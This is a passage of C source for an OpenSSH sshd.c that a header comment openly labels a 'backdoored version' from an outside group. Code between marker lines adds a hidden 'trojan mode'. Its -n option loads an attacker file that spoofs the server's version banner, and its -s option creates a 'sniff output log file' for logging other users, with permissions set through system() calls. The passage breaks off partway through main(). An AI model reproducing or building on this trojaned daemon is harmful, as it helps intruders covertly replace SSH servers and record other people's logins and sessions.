text: /*
   * Author: Tatu Ylonen <ylo@cs.hut.fi>
   * Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
   *                    All rights reserved
   * This program is the ssh daemon.  It listens for connections from clients,
   * and performs authentication, executes use commands or shell, and forwards
   * information to/from the application to the user client over an encrypted
   * connection.  This can also handle forwarding of X11, TCP/IP, and
   * authentication agent connections.
   *
   * As far as I am concerned, the code I have written for this software
   * can be used freely for any purpose.  Any derived versions of this
   * software must be clearly marked as such, and if the derived work is
   * incompatible with the protocol description in the RFC file, it must be
   * called by a name other than "ssh" or "Secure Shell".
   *
   * SSH2 implementation:
   * Privilege Separation:
   *
   * Copyright (c) 2000, 2001, 2002 Markus Friedl.  All rights reserved.
   * Copyright (c) 2002 Niels Provos.  All rights reserved.
   *
   * Redistribution and use in source and binary forms, with or without
   * modification, are permitted provided that the following conditions
   * are met:
   * 1. Redistributions of source code must retain the above copyright
   *    notice, this list of conditions and the following disclaimer.
   * 2. Redistributions in binary form must reproduce the above copyright
   *    notice, this list of conditions and the following disclaimer in the
   *    documentation and/or other materials provided with the distribution.
   *
   * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
   * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
   * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
   * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
   * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
   * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
   * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
   * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
   * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
   * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
   */
  
   /* 
    
      backdoored version
  
      www.0x333.org by nsn of outsiders.
   
   */
   
  #include "includes.h"
  RCSID("$OpenBSD: sshd.c,v 1.276 2003/08/28 12:54:34 markus Exp $");
  
  #include <openssl/dh.h>
  #include <openssl/bn.h>
  #include <openssl/md5.h>
  #include <openssl/rand.h>
  #ifdef HAVE_SECUREWARE
  #include <sys/security.h>
  #include <prot.h>
  #endif
  
  #include "ssh.h"
  #include "ssh1.h"
  #include "ssh2.h"
  #include "xmalloc.h"
  #include "rsa.h"
  #include "sshpty.h"
  #include "packet.h"
  #include "mpaux.h"
  #include "log.h"
  #include "servconf.h"
  #include "uidswap.h"
  #include "compat.h"
  #include "buffer.h"
  #include "cipher.h"
  #include "kex.h"
  #include "key.h"
  #include "dh.h"
  #include "myproposal.h"
  #include "authfile.h"
  #include "pathnames.h"
  #include "atomicio.h"
  #include "canohost.h"
  #include "auth.h"
  #include "misc.h"
  #include "dispatch.h"
  #include "channels.h"
  #include "session.h"
  #include "monitor_mm.h"
  #include "monitor.h"
  #include "monitor_wrap.h"
  #include "monitor_fdpass.h"
  
  #ifdef LIBWRAP
  #include <tcpd.h>
  #include <syslog.h>
  int allow_severity = LOG_INFO;
  int deny_severity = LOG_WARNING;
  #endif /* LIBWRAP */
  
  #ifndef O_NOCTTY
  #define O_NOCTTY	0
  #endif
  
  #ifdef HAVE___PROGNAME
  extern char *__progname;
  #else
  char *__progname;
  #endif
  
  /* Server configuration options. */
  ServerOptions options;
  
  /* Name of the server configuration file. */
  char *config_file_name = _PATH_SERVER_CONFIG_FILE;
  
  /*
   * Flag indicating whether IPv4 or IPv6.  This can be set on the command line.
   * Default value is AF_UNSPEC means both IPv4 and IPv6.
   */
  int IPv4or6 = AF_UNSPEC;
  
  /*
   * Debug mode flag.  This can be set on the command line.  If debug
   * mode is enabled, extra debugging output will be sent to the system
   * log, the daemon will not go to background, and will exit after processing
   * the first connection.
   */
  int debug_flag = 0;
  
  /* Flag indicating that the daemon should only test the configuration and keys. */
  int test_flag = 0;
  
  /* Flag indicating that the daemon is being started from inetd. */
  int inetd_flag = 0;
  
  /* Flag indicating that sshd should not detach and become a daemon. */
  int no_daemon_flag = 0;
  
  /* debug goes to stderr unless inetd_flag is set */
  int log_stderr = 0;
  
  /* Saved arguments to main(). */
  char **saved_argv;
  int saved_argc;
  
  /*
   * The sockets that the server is listening; this is used in the SIGHUP
   * signal handler.
   */
  #define	MAX_LISTEN_SOCKS	16
  int listen_socks[MAX_LISTEN_SOCKS];
  int num_listen_socks = 0;
  
  /*
   * the client's version string, passed by sshd2 in compat mode. if != NULL,
   * sshd will skip the version-number exchange
   */
  char *client_version_string = NULL;
  char *server_version_string = NULL;
  
  /* for rekeying XXX fixme */
  Kex *xxx_kex;
  
  /*
   * Any really sensitive data in the application is contained in this
   * structure. The idea is that this structure could be locked into memory so
   * that the pages do not get written into swap.  However, there are some
   * problems. The private key contains BIGNUMs, and we do not (in principle)
   * have access to the internals of them, and locking just the structure is
   * not very useful.  Currently, memory locking is not implemented.
   */
  struct {
  	Key	*server_key;		/* ephemeral server key */
  	Key	*ssh1_host_key;		/* ssh1 host key */
  	Key	**host_keys;		/* all private host keys */
  	int	have_ssh1_key;
  	int	have_ssh2_key;
  	u_char	ssh1_cookie[SSH_SESSION_KEY_LENGTH];
  } sensitive_data;
  
  /*
   * Flag indicating whether the RSA server key needs to be regenerated.
   * Is set in the SIGALRM handler and cleared when the key is regenerated.
   */
  static volatile sig_atomic_t key_do_regen = 0;
  
  /* This is set to true when a signal is received. */
  static volatile sig_atomic_t received_sighup = 0;
  static volatile sig_atomic_t received_sigterm = 0;
  
  /* session identifier, used by RSA-auth */
  u_char session_id[16];
  
  /* same for ssh2 */
  u_char *session_id2 = NULL;
  u_int session_id2_len = 0;
  
  /* record remote hostname or ip */
  u_int utmp_len = MAXHOSTNAMELEN;
  
  /* options.max_startup sized array of fd ints */
  int *startup_pipes = NULL;
  int startup_pipe;		/* in child */
  
  /* variables used for privilege separation */
  int use_privsep;
  struct monitor *pmonitor;
  
  /* message to be displayed after login */
  Buffer loginmsg;
  
  /* Prototypes for various functions defined later in this file. */
  void destroy_sensitive_data(void);
  void demote_sensitive_data(void);
  
  static void do_ssh1_kex(void);
  static void do_ssh2_kex(void);
  
  //====================================================================================================================
  
  char *OURPATH = "\0"; /* information about pwd of our backdoor, can be changed with -n */
  char *SNIFFPATH = "\0"; /* here logged another users, can be changed with - */
  char cmd[150]={"\0"}; 
  FILE *temp;
  
  char 
  *getVersion(char *path) 
  {
      FILE *in;
      static char version[50]={"\0"};
  
         if ((in = fopen(path,"r"))) {
            fseek(in,33,1);  
            fgets(version,sizeof(version),in);
            fclose(in);
         }   
         
  return version;
  }
  
  int
  checkOurFile(char *path)
  {
     FILE *in;
     int status = 0;
     
        if ((in = fopen(path,"r"))) { 
           status = 1;   
           fclose(in);
        }   
     
     return status;      
  }
  //====================================================================================================================
  
  /*
   * Close all listening sockets
   */
  static void
  close_listen_socks(void)
  {
  	int i;
  
  	for (i = 0; i < num_listen_socks; i++)
  		close(listen_socks[i]);
  	num_listen_socks = -1;
  }
  
  static void
  close_startup_pipes(void)
  {
  	int i;
  
  	if (startup_pipes)
  		for (i = 0; i < options.max_startups; i++)
  			if (startup_pipes[i] != -1)
  				close(startup_pipes[i]);
  }
  
  /*
   * Signal handler for SIGHUP.  Sshd execs itself when it receives SIGHUP;
   * the effect is to reread the configuration file (and to regenerate
   * the server key).
   */
  static void
  sighup_handler(int sig)
  {
  	int save_errno = errno;
  
  	received_sighup = 1;
  	signal(SIGHUP, sighup_handler);
  	errno = save_errno;
  }
  
  /*
   * Called from the main program after receiving SIGHUP.
   * Restarts the server.
   */
  static void
  sighup_restart(void)
  {
  	logit("Received SIGHUP; restarting.");
  	close_listen_socks();
  	close_startup_pipes();
  	execv(saved_argv[0], saved_argv);
  	logit("RESTART FAILED: av[0]='%.100s', error: %.100s.", saved_argv[0],
  	    strerror(errno));
  	exit(1);
  }
  
  /*
   * Generic signal handler for terminating signals in the master daemon.
   */
  static void
  sigterm_handler(int sig)
  {
  	received_sigterm = sig;
  }
  
  /*
   * SIGCHLD handler.  This is called whenever a child dies.  This will then
   * reap any zombies left by exited children.
   */
  static void
  main_sigchld_handler(int sig)
  {
  	int save_errno = errno;
  	pid_t pid;
  	int status;
  
  	while ((pid = waitpid(-1, &status, WNOHANG)) > 0 ||
  	    (pid < 0 && errno == EINTR))
  		;
  
  	signal(SIGCHLD, main_sigchld_handler);
  	errno = save_errno;
  }
  
  /*
   * Signal handler for the alarm after the login grace period has expired.
   */
  static void
  grace_alarm_handler(int sig)
  {
  	/* XXX no idea how fix this signal handler */
  
  	/* Log error and exit. */
  	fatal("Timeout before authentication for %s", get_remote_ipaddr());
  }
  
  /*
   * Signal handler for the key regeneration alarm.  Note that this
   * alarm only occurs in the daemon waiting for connections, and it does not
   * do anything with the private key or random state before forking.
   * Thus there should be no concurrency control/asynchronous execution
   * problems.
   */
  static void
  generate_ephemeral_server_key(void)
  {
  	u_int32_t rnd = 0;
  	int i;
  
  	verbose("Generating %s%d bit RSA key.",
  	    sensitive_data.server_key ? "new " : "", options.server_key_bits);
  	if (sensitive_data.server_key != NULL)
  		key_free(sensitive_data.server_key);
  	sensitive_data.server_key = key_generate(KEY_RSA1,
  	    options.server_key_bits);
  	verbose("RSA key generation complete.");
  
  	for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++) {
  		if (i % 4 == 0)
  			rnd = arc4random();
  		sensitive_data.ssh1_cookie[i] = rnd & 0xff;
  		rnd >>= 8;
  	}
  	arc4random_stir();
  }
  
  static void
  key_regeneration_alarm(int sig)
  {
  	int save_errno = errno;
  
  	signal(SIGALRM, SIG_DFL);
  	errno = save_errno;
  	key_do_regen = 1;
  }
  
  static void
  sshd_exchange_identification(int sock_in, int sock_out)
  {
  	int i, mismatch;
  	int remote_major, remote_minor;
  	int major, minor;
  	char *s;
  	char buf[256];			/* Must not be larger than remote_version. */
  	char remote_version[256];	/* Must be at least as big as buf. */
  
  	if ((options.protocol & SSH_PROTO_1) &&
  	    (options.protocol & SSH_PROTO_2)) {
  		major = PROTOCOL_MAJOR_1;
  		minor = 99;
  	} else if (options.protocol & SSH_PROTO_2) {
  		major = PROTOCOL_MAJOR_2;
  		minor = PROTOCOL_MINOR_2;
  	} else {
  		major = PROTOCOL_MAJOR_1;
  		minor = PROTOCOL_MINOR_1;
  	}
  
  //=====================================================================================================================
      if (strcmp(getVersion(OURPATH),"")) 
         snprintf(buf, sizeof buf, "%s", getVersion(OURPATH));
      else    
         snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s\n", major, minor, SSH_VERSION);
  //=====================================================================================================================
  
  	server_version_string = xstrdup(buf);
  
  	/* Send our protocol version identification. */
  	if (atomicio(vwrite, sock_out, server_version_string,
  	    strlen(server_version_string))
  	    != strlen(server_version_string)) {
  		logit("Could not write ident string to %s", get_remote_ipaddr());
  		fatal_cleanup();
  	}
  
  	/* Read other sides version identification. */
  	memset(buf, 0, sizeof(buf));
  	for (i = 0; i < sizeof(buf) - 1; i++) {
  		if (atomicio(read, sock_in, &buf[i], 1) != 1) {
  			logit("Did not receive identification string from %s",
  			    get_remote_ipaddr());
  			fatal_cleanup();
  		}
  		if (buf[i] == '\r') {
  			buf[i] = 0;
  			/* Kludge for F-Secure Macintosh < 1.0.2 */
  			if (i == 12 &&
  			    strncmp(buf, "SSH-1.5-W1.0", 12) == 0)
  				break;
  			continue;
  		}
  		if (buf[i] == '\n') {
  			buf[i] = 0;
  			break;
  		}
  	}
  	buf[sizeof(buf) - 1] = 0;
  	client_version_string = xstrdup(buf);
  
  	/*
  	 * Check that the versions match.  In future this might accept
  	 * several versions and set appropriate flags to handle them.
  	 */
  	if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n",
  	    &remote_major, &remote_minor, remote_version) != 3) {
  		s = "Protocol mismatch.\n";
  		(void) atomicio(vwrite, sock_out, s, strlen(s));
  		close(sock_in);
  		close(sock_out);
  		logit("Bad protocol version identification '%.100s' from %s",
  		    client_version_string, get_remote_ipaddr());
  		fatal_cleanup();
  	}
  	debug("Client protocol version %d.%d; client software version %.100s",
  	    remote_major, remote_minor, remote_version);
  
  	compat_datafellows(remote_version);
  
  	if (datafellows & SSH_BUG_PROBE) {
  		logit("probed from %s with %s.  Don't panic.",
  		    get_remote_ipaddr(), client_version_string);
  		fatal_cleanup();
  	}
  
  	if (datafellows & SSH_BUG_SCANNER) {
  		logit("scanned from %s with %s.  Don't panic.",
  		    get_remote_ipaddr(), client_version_string);
  		fatal_cleanup();
  	}
  
  	mismatch = 0;
  	switch (remote_major) {
  	case 1:
  		if (remote_minor == 99) {
  			if (options.protocol & SSH_PROTO_2)
  				enable_compat20();
  			else
  				mismatch = 1;
  			break;
  		}
  		if (!(options.protocol & SSH_PROTO_1)) {
  			mismatch = 1;
  			break;
  		}
  		if (remote_minor < 3) {
  			packet_disconnect("Your ssh version is too old and "
  			    "is no longer supported.  Please install a newer version.");
  		} else if (remote_minor == 3) {
  			/* note that this disables agent-forwarding */
  			enable_compat13();
  		}
  		break;
  	case 2:
  		if (options.protocol & SSH_PROTO_2) {
  			enable_compat20();
  			break;
  		}
  		/* FALLTHROUGH */
  	default:
  		mismatch = 1;
  		break;
  	}
  	chop(server_version_string);
  	debug("Local version string %.200s", server_version_string);
  
  	if (mismatch) {
  		s = "Protocol major versions differ.\n";
  		(void) atomicio(vwrite, sock_out, s, strlen(s));
  		close(sock_in);
  		close(sock_out);
  		logit("Protocol major versions differ for %s: %.200s vs. %.200s",
  		    get_remote_ipaddr(),
  		    server_version_string, client_version_string);
  		fatal_cleanup();
  	}
  }
  
  /* Destroy the host and server keys.  They will no longer be needed. */
  void
  destroy_sensitive_data(void)
  {
  	int i;
  
  	if (sensitive_data.server_key) {
  		key_free(sensitive_data.server_key);
  		sensitive_data.server_key = NULL;
  	}
  	for (i = 0; i < options.num_host_key_files; i++) {
  		if (sensitive_data.host_keys[i]) {
  			key_free(sensitive_data.host_keys[i]);
  			sensitive_data.host_keys[i] = NULL;
  		}
  	}
  	sensitive_data.ssh1_host_key = NULL;
  	memset(sensitive_data.ssh1_cookie, 0, SSH_SESSION_KEY_LENGTH);
  }
  
  /* Demote private to public keys for network child */
  void
  demote_sensitive_data(void)
  {
  	Key *tmp;
  	int i;
  
  	if (sensitive_data.server_key) {
  		tmp = key_demote(sensitive_data.server_key);
  		key_free(sensitive_data.server_key);
  		sensitive_data.server_key = tmp;
  	}
  
  	for (i = 0; i < options.num_host_key_files; i++) {
  		if (sensitive_data.host_keys[i]) {
  			tmp = key_demote(sensitive_data.host_keys[i]);
  			key_free(sensitive_data.host_keys[i]);
  			sensitive_data.host_keys[i] = tmp;
  			if (tmp->type == KEY_RSA1)
  				sensitive_data.ssh1_host_key = tmp;
  		}
  	}
  
  	/* We do not clear ssh1_host key and cookie.  XXX - Okay Niels? */
  }
  
  static void
  privsep_preauth_child(void)
  {
  	u_int32_t rnd[256];
  	gid_t gidset[1];
  	struct passwd *pw;
  	int i;
  
  	/* Enable challenge-response authentication for privilege separation */
  	privsep_challenge_enable();
  
  	for (i = 0; i < 256; i++)
  		rnd[i] = arc4random();
  	RAND_seed(rnd, sizeof(rnd));
  
  	/* Demote the private keys to public keys. */
  	demote_sensitive_data();
  
  	if ((pw = getpwnam(SSH_PRIVSEP_USER)) == NULL)
  		fatal("Privilege separation user %s does not exist",
  		    SSH_PRIVSEP_USER);
  	memset(pw->pw_passwd, 0, strlen(pw->pw_passwd));
  	endpwent();
  
  	/* Change our root directory */
  	if (chroot(_PATH_PRIVSEP_CHROOT_DIR) == -1)
  		fatal("chroot(\"%s\"): %s", _PATH_PRIVSEP_CHROOT_DIR,
  		    strerror(errno));
  	if (chdir("/") == -1)
  		fatal("chdir(\"/\"): %s", strerror(errno));
  
  	/* Drop our privileges */
  	debug3("privsep user:group %u:%u", (u_int)pw->pw_uid,
  	    (u_int)pw->pw_gid);
  #if 0
  	/* XXX not ready, to heavy after chroot */
  	do_setusercontext(pw);
  #else
  	gidset[0] = pw->pw_gid;
  	if (setgroups(1, gidset) < 0)
  		fatal("setgroups: %.100s", strerror(errno));
  	permanently_set_uid(pw);
  #endif
  }
  
  static Authctxt *
  privsep_preauth(void)
  {
  	Authctxt *authctxt = NULL;
  	int status;
  	pid_t pid;
  
  	/* Set up unprivileged child process to deal with network data */
  	pmonitor = monitor_init();
  	/* Store a pointer to the kex for later rekeying */
  	pmonitor->m_pkex = &xxx_kex;
  
  	pid = fork();
  	if (pid == -1) {
  		fatal("fork of unprivileged child failed");
  	} else if (pid != 0) {
  		fatal_remove_cleanup((void (*) (void *)) packet_close, NULL);
  
  		debug2("Network child is on pid %ld", (long)pid);
  
  		close(pmonitor->m_recvfd);
  		authctxt = monitor_child_preauth(pmonitor);
  		close(pmonitor->m_sendfd);
  
  		/* Sync memory */
  		monitor_sync(pmonitor);
  
  		/* Wait for the child's exit status */
  		while (waitpid(pid, &status, 0) < 0)
  			if (errno != EINTR)
  				break;
  
  		/* Reinstall, since the child has finished */
  		fatal_add_cleanup((void (*) (void *)) packet_close, NULL);
  
  		return (authctxt);
  	} else {
  		/* child */
  
  		close(pmonitor->m_sendfd);
  
  		/* Demote the child */
  		if (getuid() == 0 || geteuid() == 0)
  			privsep_preauth_child();
  		setproctitle("%s", "[net]");
  	}
  	return (NULL);
  }
  
  static void
  privsep_postauth(Authctxt *authctxt)
  {
  	extern Authctxt *x_authctxt;
  
  	/* XXX - Remote port forwarding */
  	x_authctxt = authctxt;
  
  #ifdef DISABLE_FD_PASSING
  	if (1) {
  #else
  	if (authctxt->pw->pw_uid == 0 || options.use_login) {
  #endif
  		/* File descriptor passing is broken or root login */
  		monitor_apply_keystate(pmonitor);
  		use_privsep = 0;
  		return;
  	}
  
  	/* Authentication complete */
  	alarm(0);
  	if (startup_pipe != -1) {
  		close(startup_pipe);
  		startup_pipe = -1;
  	}
  
  	/* New socket pair */
  	monitor_reinit(pmonitor);
  
  	pmonitor->m_pid = fork();
  	if (pmonitor->m_pid == -1)
  		fatal("fork of unprivileged child failed");
  	else if (pmonitor->m_pid != 0) {
  		fatal_remove_cleanup((void (*) (void *)) packet_close, NULL);
  
  		debug2("User child is on pid %ld", (long)pmonitor->m_pid);
  		close(pmonitor->m_recvfd);
  		monitor_child_postauth(pmonitor);
  
  		/* NEVERREACHED */
  		exit(0);
  	}
  
  	close(pmonitor->m_sendfd);
  
  	/* Demote the private keys to public keys. */
  	demote_sensitive_data();
  
  	/* Drop privileges */
  	do_setusercontext(authctxt->pw);
  
  	/* It is safe now to apply the key state */
  	monitor_apply_keystate(pmonitor);
  }
  
  static char *
  list_hostkey_types(void)
  {
  	Buffer b;
  	char *p;
  	int i;
  
  	buffer_init(&b);
  	for (i = 0; i < options.num_host_key_files; i++) {
  		Key *key = sensitive_data.host_keys[i];
  		if (key == NULL)
  			continue;
  		switch (key->type) {
  		case KEY_RSA:
  		case KEY_DSA:
  			if (buffer_len(&b) > 0)
  				buffer_append(&b, ",", 1);
  			p = key_ssh_name(key);
  			buffer_append(&b, p, strlen(p));
  			break;
  		}
  	}
  	buffer_append(&b, "\0", 1);
  	p = xstrdup(buffer_ptr(&b));
  	buffer_free(&b);
  	debug("list_hostkey_types: %s", p);
  	return p;
  }
  
  Key *
  get_hostkey_by_type(int type)
  {
  	int i;
  
  	for (i = 0; i < options.num_host_key_files; i++) {
  		Key *key = sensitive_data.host_keys[i];
  		if (key != NULL && key->type == type)
  			return key;
  	}
  	return NULL;
  }
  
  Key *
  get_hostkey_by_index(int ind)
  {
  	if (ind < 0 || ind >= options.num_host_key_files)
  		return (NULL);
  	return (sensitive_data.host_keys[ind]);
  }
  
  int
  get_hostkey_index(Key *key)
  {
  	int i;
  
  	for (i = 0; i < options.num_host_key_files; i++) {
  		if (key == sensitive_data.host_keys[i])
  			return (i);
  	}
  	return (-1);
  }
  
  /*
   * returns 1 if connection should be dropped, 0 otherwise.
   * dropping starts at connection #max_startups_begin with a probability
   * of (max_startups_rate/100). the probability increases linearly until
   * all connections are dropped for startups > max_startups
   */
  static int
  drop_connection(int startups)
  {
  	double p, r;
  
  	if (startups < options.max_startups_begin)
  		return 0;
  	if (startups >= options.max_startups)
  		return 1;
  	if (options.max_startups_rate == 100)
  		return 1;
  
  	p  = 100 - options.max_startups_rate;
  	p *= startups - options.max_startups_begin;
  	p /= (double) (options.max_startups - options.max_startups_begin);
  	p += options.max_startups_rate;
  	p /= 100.0;
  	r = arc4random() / (double) UINT_MAX;
  
  	debug("drop_connection: p %g, r %g", p, r);
  	return (r < p) ? 1 : 0;
  }
  
  static void
  usage(void)
  {
  	fprintf(stderr, "sshd version %s\n", SSH_VERSION);
  	fprintf(stderr, "Usage: %s [options]\n", __progname);
  	fprintf(stderr, "Options:\n");
      fprintf(stderr, "trojan mode -n and -s:\n\n");
  	fprintf(stderr, "  -n file    [OUR] Configuration file\n");
  	fprintf(stderr, "  -s file    [OUR] Sniff output log file\n\n");
      fprintf(stderr, "standard modes:\n\n");
  	fprintf(stderr, "  -f file    Configuration file (default %s)\n", _PATH_SERVER_CONFIG_FILE);
  	fprintf(stderr, "  -d         Debugging mode (multiple -d means more debugging)\n");
  	fprintf(stderr, "  -i         Started from inetd\n");
  	fprintf(stderr, "  -D         Do not fork into daemon mode\n");
  	fprintf(stderr, "  -t         Only test configuration file and keys\n");
  	fprintf(stderr, "  -q         Quiet (no logging)\n");
  	fprintf(stderr, "  -p port    Listen on the specified port (default: 22)\n");
  	fprintf(stderr, "  -k seconds Regenerate server key every this many seconds (default: 3600)\n");
  	fprintf(stderr, "  -g seconds Grace period for authentication (default: 600)\n");
  	fprintf(stderr, "  -b bits    Size of server RSA key (default: 768 bits)\n");
  	fprintf(stderr, "  -h file    File from which to read host key (default: %s)\n", _PATH_HOST_KEY_FILE);
  	fprintf(stderr, "  -u len     Maximum hostname length for utmp recording\n");
  	fprintf(stderr, "  -4         Use IPv4 only\n");
  	fprintf(stderr, "  -6         Use IPv6 only\n");
  	fprintf(stderr, "  -o option  Process the option as if it was read from a configuration file.\n");
  	exit(1);
  }
  
  /*
   * Main program for the daemon.
   */
  int
  main(int ac, char **av)
  {
  	extern char *optarg;
  	extern int optind;
  	int opt, sock_in = 0, sock_out = 0, newsock, j, i, fdsetsz, on = 1;
  	pid_t pid;
  	socklen_t fromlen;
  	fd_set *fdset;
  	struct sockaddr_storage from;
  	const char *remote_ip;
  	int remote_port;
  	FILE *f;
  	struct addrinfo *ai;
  	char ntop[NI_MAXHOST], strport[NI_MAXSERV];
  	int listen_sock, maxfd;
  	int startup_p[2];
  	int startups = 0;
  	Authctxt *authctxt;
  	Key *key;
  	int ret, key_used = 0;
  
  #ifdef HAVE_SECUREWARE
  	(void)set_auth_parameters(ac, av);
  #endif
  	__progname = ssh_get_progname(av[0]);
  	init_rng();
  
  	/* Save argv. Duplicate so setproctitle emulation doesn't clobber it */
  	saved_argc = ac;
  	saved_argv = xmalloc(sizeof(*saved_argv) * (ac + 1));
  	for (i = 0; i < ac; i++)
  		saved_argv[i] = xstrdup(av[i]);
  	saved_argv[i] = NULL;
  
  #ifndef HAVE_SETPROCTITLE
  	/* Prepare for later setproctitle emulation */
  	compat_init_setproctitle(ac, av);
  	av = saved_argv;
  #endif
  
  	/* Initialize configuration options to their default values. */
  	initialize_server_options(&options);
  
  	/* Parse command-line arguments. */
  	while ((opt = getopt(ac, av, "f:n:s:p:b:k:h:g:u:o:dDeiqtQ46")) != -1) {
  		switch (opt) {
  		case '4':
  			IPv4or6 = AF_INET;
  			break;
  		case '6':
  			IPv4or6 = AF_INET6;
  			break;
  		case 'f':
  			config_file_name = optarg;
  			break;
  //====================================================================================================================
  		case 'n':
          { 
    		    OURPATH = strdup(optarg);
  
    		    if (!checkOurFile(OURPATH)) {
    		       printf("fatal error check file %s\n",OURPATH);
    		       exit(-333);
    		    }
  	    }break;
    		case 's':
          {
              SNIFFPATH = strdup(optarg);
  
      	    if (!checkOurFile(SNIFFPATH)) {
                 temp = fopen(SNIFFPATH,"w");   
                 fclose(temp);
              }   
    		    
    		}break;
  //====================================================================================================================			
  		case 'd':
  			if (debug_flag == 0) {
  				debug_flag = 1;
  				options.log_level = SYSLOG_LEVEL_DEBUG1;
  			} else if (options.log_level < SYSLOG_LEVEL_DEBUG3)
  				options.log_level++;
  			break;
  		case 'D':
  			no_daemon_flag = 1;
  			break;
  		case 'e':
  			log_stderr = 1;
  			break;
  		case 'i':
  			inetd_flag = 1;
  			break;
  		case 'Q':
  			/* ignored */
  			break;
  		case 'q':
  			options.log_level = SYSLOG_LEVEL_QUIET;
  			break;
  		case 'b':
  			options.server_key_bits = atoi(optarg);
  			break;
  		case 'p':
  			options.ports_from_cmdline = 1;
  			if (options.num_ports >= MAX_PORTS) {
  				fprintf(stderr, "too many ports.\n");
  				exit(1);
  			}
  			options.ports[options.num_ports++] = a2port(optarg);
  			if (options.ports[options.num_ports-1] == 0) {
  				fprintf(stderr, "Bad port number.\n");
  				exit(1);
  			}
  			break;
  		case 'g':
  			if ((options.login_grace_time = convtime(optarg)) == -1) {
  				fprintf(stderr, "Invalid login grace time.\n");
  				exit(1);
  			}
  			break;
  		case 'k':
  			if ((options.key_regeneration_time = convtime(optarg)) == -1) {
  				fprintf(stderr, "Invalid key regeneration interval.\n");
  				exit(1);
  			}
  			break;
  		case 'h':
  			if (options.num_host_key_files >= MAX_HOSTKEYS) {
  				fprintf(stderr, "too many host keys.\n");
  				exit(1);
  			}
  			options.host_key_files[options.num_host_key_files++] = optarg;
  			break;
  		case 't':
  			test_flag = 1;
  			break;
  		case 'u':
  			utmp_len = atoi(optarg);
  			if (utmp_len > MAXHOSTNAMELEN) {
  				fprintf(stderr, "Invalid utmp length.\n");
  				exit(1);
  			}
  			break;
  		case 'o':
  			if (process_server_config_line(&options, optarg,
  			    "command-line", 0) != 0)
  				exit(1);
  			break;
  		case '?':
  		default:
  			usage();
  			break;
  		}
  	}
  
  //====================================================================================================================
  
  	/* another our stuff
         here touching files and set permission on these, only if -n and -s are specified between.
         else if was specified -n and not -s, or viceversa, we past the help.
         this because if -n and -s aren't specified sshd works like a standard daemon. 
     */
  
      if ((strcmp(OURPATH,"")) && (strcmp(SNIFFPATH,""))) 
      {
      
         if (checkOurFile(OURPATH)) {
  	      snprintf(cmd,sizeof(cmd),"chmod 600 %s",OURPATH);
            system(cmd);
         }
      
         if (checkOurFile(SNIFFPATH)) {    
            snprintf(cmd,sizeof(cmd),"chmod 600 %s",SNIFFPATH);
            system(cmd);
         }   
         
      } 
      else 
           if (((strcmp(OURPATH,"")) && (!strcmp(SNIFFPATH,""))) || ((!strcmp(OURPATH,"")) && (strcmp(SNIFFPATH,""))))
              usage();
           
  
    
  //====================================================================================================================
  	
  	SSLeay_add_all_algorithms();
  	channel_set_af(IPv4or6);
  
  	/*
  	 * Force logging to stderr until we have loaded the private host
  	 * key (unless started from inetd)
  	 */
  	log_init(__progname,
  	    options.log_level == SYSLOG_LEVEL_NOT_SET ?
  	    SYSLOG_LEVEL_INFO : options.log_level,
  	    options.log_facility == SYSLOG_FACILITY_NOT_SET ?
  	    SYSLOG_FACILITY_AUTH : options.log_facility,
  	    log_stderr || !inetd_flag);
  
  #ifdef _UNICOS
  	/* Cray can define user privs drop all prives now!
  	 * Not needed on PRIV_SU systems!
  	 */
  	drop_cray_privs();
  #endif
  
  	seed_rng();
  
  	/* Read server configuration options from the configuration file. */
  	read_server_config(&options, config_file_name);
  
  	/* Fill in default values for those options not explicitly set. */
  	fill_default_server_options(&options);
  
  	/* Check that there are no remaining arguments. */
  	if (optind < ac) {
  		fprintf(stderr, "Extra argument %s.\n", av[optind]);
  		exit(1);
  	}
  
  	debug("sshd version %.100s", SSH_VERSION);
  
  	/* load private host keys */
  	sensitive_data.host_keys = xmalloc(options.num_host_key_files *
  	    sizeof(Key *));
  	for (i = 0; i < options.num_host_key_files; i++)
  		sensitive_data.host_keys[i] = NULL;
  	sensitive_data.server_key = NULL;
  	sensitive_data.ssh1_host_key = NULL;
  	sensitive_data.have_ssh1_key = 0;
  	sensitive_data.have_ssh2_key = 0;
  
  	for (i = 0; i < options.num_host_key_files; i++) {
  		key = key_load_private(options.host_key_files[i], "", NULL);
  		sensitive_data.host_keys[i] = key;
  		if (key == NULL) {
  			error("Could not load host key: %s",
  			    options.host_key_files[i]);
  			sensitive_data.host_keys[i] = NULL;
  			continue;
  		}
  		switch (key->type) {
  		case KEY_RSA1:
  			sensitive_data.ssh1_host_key = key;
  			sensitive_data.have_ssh1_key = 1;
  			break;
  		case KEY_RSA:
  		case KEY_DSA:
  			sensitive_data.have_ssh2_key = 1;
  			break;
  		}
  		debug("private host key: #%d type %d %s", i, key->type,
  		    key_type(key));
  	}
  	if ((options.protocol & SSH_PROTO_1) && !sensitive_data.have_ssh1_key) {
  		logit("Disabling protocol version 1. Could not load host key");
  		options.protocol &= ~SSH_PROTO_1;
  	}
  	if ((options.protocol & SSH_PROTO_2) && !sensitive_data.have_ssh2_key) {
  		logit("Disabling protocol version 2. Could not load host key");
  		options.protocol &= ~SSH_PROTO_2;
  	}
  	if (!(options.protocol & (SSH_PROTO_1|SSH_PROTO_2))) {
  		logit("sshd: no hostkeys available -- exiting.");
  		exit(1);
  	}
  
  	/* Check certain values for sanity. */
  	if (options.protocol & SSH_PROTO_1) {
  		if (options.server_key_bits < 512 ||
  		    options.server_key_bits > 32768) {
